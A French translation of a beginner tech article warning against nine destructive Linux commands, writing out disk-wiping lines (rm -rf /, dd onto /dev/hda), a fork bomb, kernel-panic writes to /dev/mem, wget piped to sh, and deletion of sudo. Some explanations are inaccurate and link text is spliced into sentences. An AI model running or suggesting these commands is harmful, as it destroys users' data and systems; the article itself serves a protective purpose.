9 commandes Linux létales que vous ne devriez jamais exécuter

Vous ne devriez jamais exécuter une commande Linux à moins de savoir exactement ce qu'elle fait. Voici certaines des commandes Linux les plus meurtrières que vous voudrez, pour la plupart, éviter.

Vous ne devriez jamais exécuter une commande Linux à moins de savoir exactement ce qu'elle fait.  Voici certaines des commandes Linux les plus meurtrières que vous voudrez, pour la plupart, éviter.
Publicité

Linux peut être une épée à double tranchant. Il suppose que vous savez ce que vous faites et vous donne la liberté de faire ce que vous voulez. Cela ne vous posera pas de question. Ceci est pratique lorsque vous savez réellement ce que vous faites, mais cela signifie également que vous pourriez rendre votre système inutilisable en quelques secondes.

Nouveau sur la ligne de commande Linux? Pas de soucis. Premiers pas avec notre guide de démarrage rapide du terminal Linux Un guide rapide pour démarrer avec la ligne de commande Linux Un guide rapide pour démarrer la ligne de commande Linux Vous pouvez faire beaucoup de choses étonnantes avec des commandes sous Linux et ce n'est vraiment pas difficile à apprendre. Lire la suite avec ces 40 commandes Linux essentielles Un AZ de Linux - 40 commandes essentielles que vous devriez savoir Un AZ de Linux - 40 commandes essentielles que vous devez savoir Linux est la troisième roue souvent ignorée de Windows et Mac. Oui, au cours de la dernière décennie, le système d'exploitation open source a pris beaucoup de traction, mais il est encore loin d'être considéré ... Lire la suite. Avec ces deux ressources, vous vous familiariserez avec la ligne de commande en un rien de temps.

Mais que vous soyez un novice ou un vétéran de Linux, vous ne devriez jamais exécuter une commande à moins de savoir exactement ce qu'il fait. Voici certaines des commandes Linux les plus meurtrières que vous voudrez, pour la plupart, éviter.

Supprimer récursivement

La capacité de Linux à supprimer tout ce que vous voulez sans poser de questions est une aubaine, surtout après avoir traité des années de "Ce fichier ne peut pas être supprimé" des erreurs dans Windows. Mais les trolls Internet seront prompts à vous tromper, vous présentant des commandes de suppression extrêmement dangereuses qui peuvent effacer des disques durs entiers.

rm -rf / 

Cette ligne exécute la commande remove rm avec deux bascules: -r qui force la suppression récursive dans tous les sous-répertoires et -f qui force la suppression des fichiers en lecture seule sans confirmation. La commande est exécutée dans le répertoire / root, ce qui efface tout votre système.

Notez, ces jours-ci sur la plupart des systèmes Linux si vous avez essayé de le faire, vous obtiendrez un avertissement. Mais l'avertissement n'est pas garanti, alors ne le faites pas.

Formatage du disque dur

Le terminal est particulièrement difficile pour les débutants Linux, car il fournit plusieurs façons d'effacer accidentellement son disque dur. La suppression récursive est importante, mais en voici une autre:

 mkfs.ext3 /dev/hda 

Cette commande formate le disque dur pour utiliser le système de fichiers ext3. Comment reformater votre lecteur FAT32 en NTFS - et les avantages de le faire Comment reformater votre lecteur FAT32 en NTFS - et les avantages de le faire Vous ne le savez peut-être pas, mais en choisissant le bon système de fichiers pour vos disques est en fait assez important. Bien que l'idée principale de tous les systèmes de fichiers soit la même, les avantages et les désavantages sont multiples ... Read More n'est pas une action intrinsèquement malveillante, mais "réinitialise" le lecteur de telle sorte qu'il soit "comme neuf". En d'autres termes, un disque dur formaté est comme une ardoise vierge.

La mise en forme est utile pour les partitions de disque et les lecteurs externes, mais l'exécuter sur un disque dur entier (tel que / dev / hda ) est dangereux et peut laisser votre système dans un état irrécupérable.

Écraser le disque dur

Comme si le formatage accidentel du disque n'était pas assez mauvais, il est possible d'écraser votre disque dur en utilisant des données brutes. Au moins la mise en forme du disque est une procédure réelle avec des utilisations réelles; D'autre part, l'écrasement direct de son lecteur n'est pas génial.

 command >/dev/hda 

Dans la commande ci-dessus, la commande peut être remplacée par n'importe quelle commande Bash. L'opérateur > redirige la sortie de la commande sur sa gauche vers le fichier sur sa droite. Dans ce cas, la sortie de la commande gauche n'a pas d'importance. Ces données brutes sont redirigées et utilisées pour écraser le disque dur du système.

Comme vous pouvez l'imaginer, cela le rend inutile.

Essuyez le disque dur

Voici une autre façon de ruiner votre système. Cette fois-ci, la commande va complètement mettre à zéro votre disque dur. Aucune corruptions ou écrasements de données; il remplira littéralement votre disque dur avec des zéros. Un disque dur ne devient pas plus effacé que cela.

 dd if=/dev/zero of=/dev/hda 

La commande dd est une instruction de bas niveau principalement utilisée pour écrire des données sur des disques physiques. Le paramètre if détermine la source des données, qui dans ce cas est / dev / zero, un spécial sur Linux qui produit un flux infini de zéros. Le paramètre of détermine la destination de ces zéros, qui est le lecteur / dev / hda .

Oui, il existe des raisons légitimes de mettre à zéro un lecteur, mais si vous ne savez pas quelles sont ces raisons, alors vous voudrez rester loin de cette commande.

Implode Disque dur

Si vous êtes fatigué d'entendre des façons de détruire votre disque dur, tenez bon. En voici un de plus pour toi. Sous Linux, il y a un fichier spécial appelé / dev / null qui supprimera toutes les données qui y sont écrites. Vous pouvez le considérer comme un trou noir ou un déchiqueteur de fichiers: tout ce qui lui est donné comme entrée sera consommé pour de bon.

 mv / /dev/null 

Pouvez-vous repérer le danger ici? La commande mv essaie de déplacer le répertoire racine du système / dans le trou noir de / dev / null . C'est une commande valide et le résultat est dévastateur: le disque dur est mangé et il ne reste plus rien. Cela rendra votre système inutilisable.

Cause Panique du noyau

Windows a son tristement célèbre écran bleu de la mort Windows 8 Crashing? Comment faire pour résoudre facilement l'écran bleu et autres problèmes Windows 8 Crashing? Comment faire pour résoudre facilement l'écran bleu et d'autres questions Windows 8 n'est pas parfait. Cela dit, la plupart des écrans bleus et des plantages d'applications ne sont pas la faute de Windows. Nos conseils vous aideront à identifier exactement ce qui ne va pas avec votre PC et à le réparer. Lire la suite . Et malgré les mythes qui circulent, Linux n'est pas un système parfaitement sécurisé. 4 Les mythes de la cybersécurité qui doivent mourir 4 Mythes de la cybersécurité qui doivent mourir En savoir plus. Parfois, une erreur interne se produit à partir de laquelle la récupération est impossible, donc le système va adopter quelque chose de similaire à l'écran bleu: une panique du noyau .

 dd if=/dev/random of=/dev/port echo 1>/proc/sys/kernel/panic cat /dev/port cat /dev/zero>/dev/mem 

Les subtilités des commandes ci-dessus ne sont pas importantes ici. Ce qui est important est que l'exécution de l'une de ces lignes entraînera une panique du noyau, vous obligeant à redémarrer votre système. Il est préférable de rester à l'écart de ces commandes, à moins que vous ne soyez absolument certain de savoir ce que vous faites.

Bombe fourchette

Bash est la langue du terminal Linux Est-ce que Linux Confusing? Voici les termes clés que vous devez savoir Linux est confus? Voici les termes clés que vous devez savoir Ces jours-ci, Ubuntu et d'autres distributions Linux modernes s'installent généralement sans accroc (et sans aucune connaissance), mais au fur et à mesure que vous les utilisez, vous rencontrerez inévitablement toutes sortes de terminologies. .. Lire la suite et c'est puissant. Non seulement il peut exécuter des commandes, mais il peut également exécuter des fonctions, ce qui facilite l'écriture de scripts pouvant automatiser les tâches système. Malheureusement, les fonctions ne viennent pas sans leurs propres risques.

 :(){:|:&};: 

Cette commande obscure s'appelle une bombe de fourchette, qui est un type spécial de panique de noyau. Il définit une fonction nommée : qui s'appelle récursivement deux fois lorsqu'elle est exécutée. L'un des appels récursifs se passe au premier plan tandis que l'autre se passe en arrière-plan.

En d'autres termes, chaque fois que cette fonction s'exécute, elle engendre deux processus enfants. Ces processus enfants engendrent leurs propres processus fils, et ce cycle continue dans une boucle infinie. La seule solution est de redémarrer le système.

Exécuter un script distant

Voici une commande innocente qui peut être utile dans la vie de tous les jours sur un système Linux. wget récupère le contenu d'une URL Web, qui peut être utilisée pour accéder à des sites Web ou télécharger des fichiers. Cependant, il y a un truc simple qui le rend dangereux:

 wget http://an-untrusted-url -O- | sh 

La combinaison ci-dessus télécharge le contenu de l'URL donnée et l'envoie immédiatement à la commande sh, qui exécute le contenu téléchargé dans le terminal. Si l'URL devait pointer vers un script malveillant, vous scelleriez votre propre destin avec cette commande.

Désactiver les droits de commande racine

Cette dernière commande est simple. Il utilise la commande rm couramment utilisée pour désactiver deux des commandes les plus importantes sous Linux: sudo et su . Longue histoire courte, ces deux vous permettent d'exécuter d' autres commandes avec des autorisations root. Sans eux, la vie sur Linux serait misérable.

 rm -f /usr/bin/sudo;rm -f /bin/su 

C'est pourquoi vous ne devriez pas exécuter cette commande. Il force les deux commandes de votre système sans aucune confirmation, vous laissant dans un bourrage. Il existe des façons de restaurer ce que vous avez supprimé Les meilleures façons de récupérer des données sur Linux Les meilleures façons de récupérer des données sur Linux Peu importe si c'était votre faute ou non, les choses peuvent arriver aux données stockées sur vos appareils. Les disques durs, les lecteurs à semi-conducteurs et les supports amovibles peuvent potentiellement "perdre" des fichiers en raison de nombreux ... Lire la suite, mais ce n'est pas toujours simple ni agréable.

S'il te plait fais attention! N'ayez pas peur de jouer avec Linux Considérant Linux? 10 questions fréquemment posées Considérant Linux? 10 Questions courantes répondues Voici les questions les plus courantes que les utilisateurs de Windows ont à propos de Linux. Après avoir parcouru cette liste de questions et de réponses, vous devriez vous sentir beaucoup plus à l'aise pour essayer Linux. En savoir plus et le terminal de ligne de commande, mais en même temps, faites vos recherches et ne jamais exécuter quoi que ce soit, sauf si vous êtes absolument sûr de ce qu'il fait. Si quelqu'un vous dit d'essayer cette commande, doublez-la et vérifiez-la toujours.

Avez-vous déjà exécuté une commande destructrice? Qu'est-il arrivé? Est-ce que quelqu'un vous a trompé? Partagez vos pensées et expériences avec nous dans les commentaires!

In this article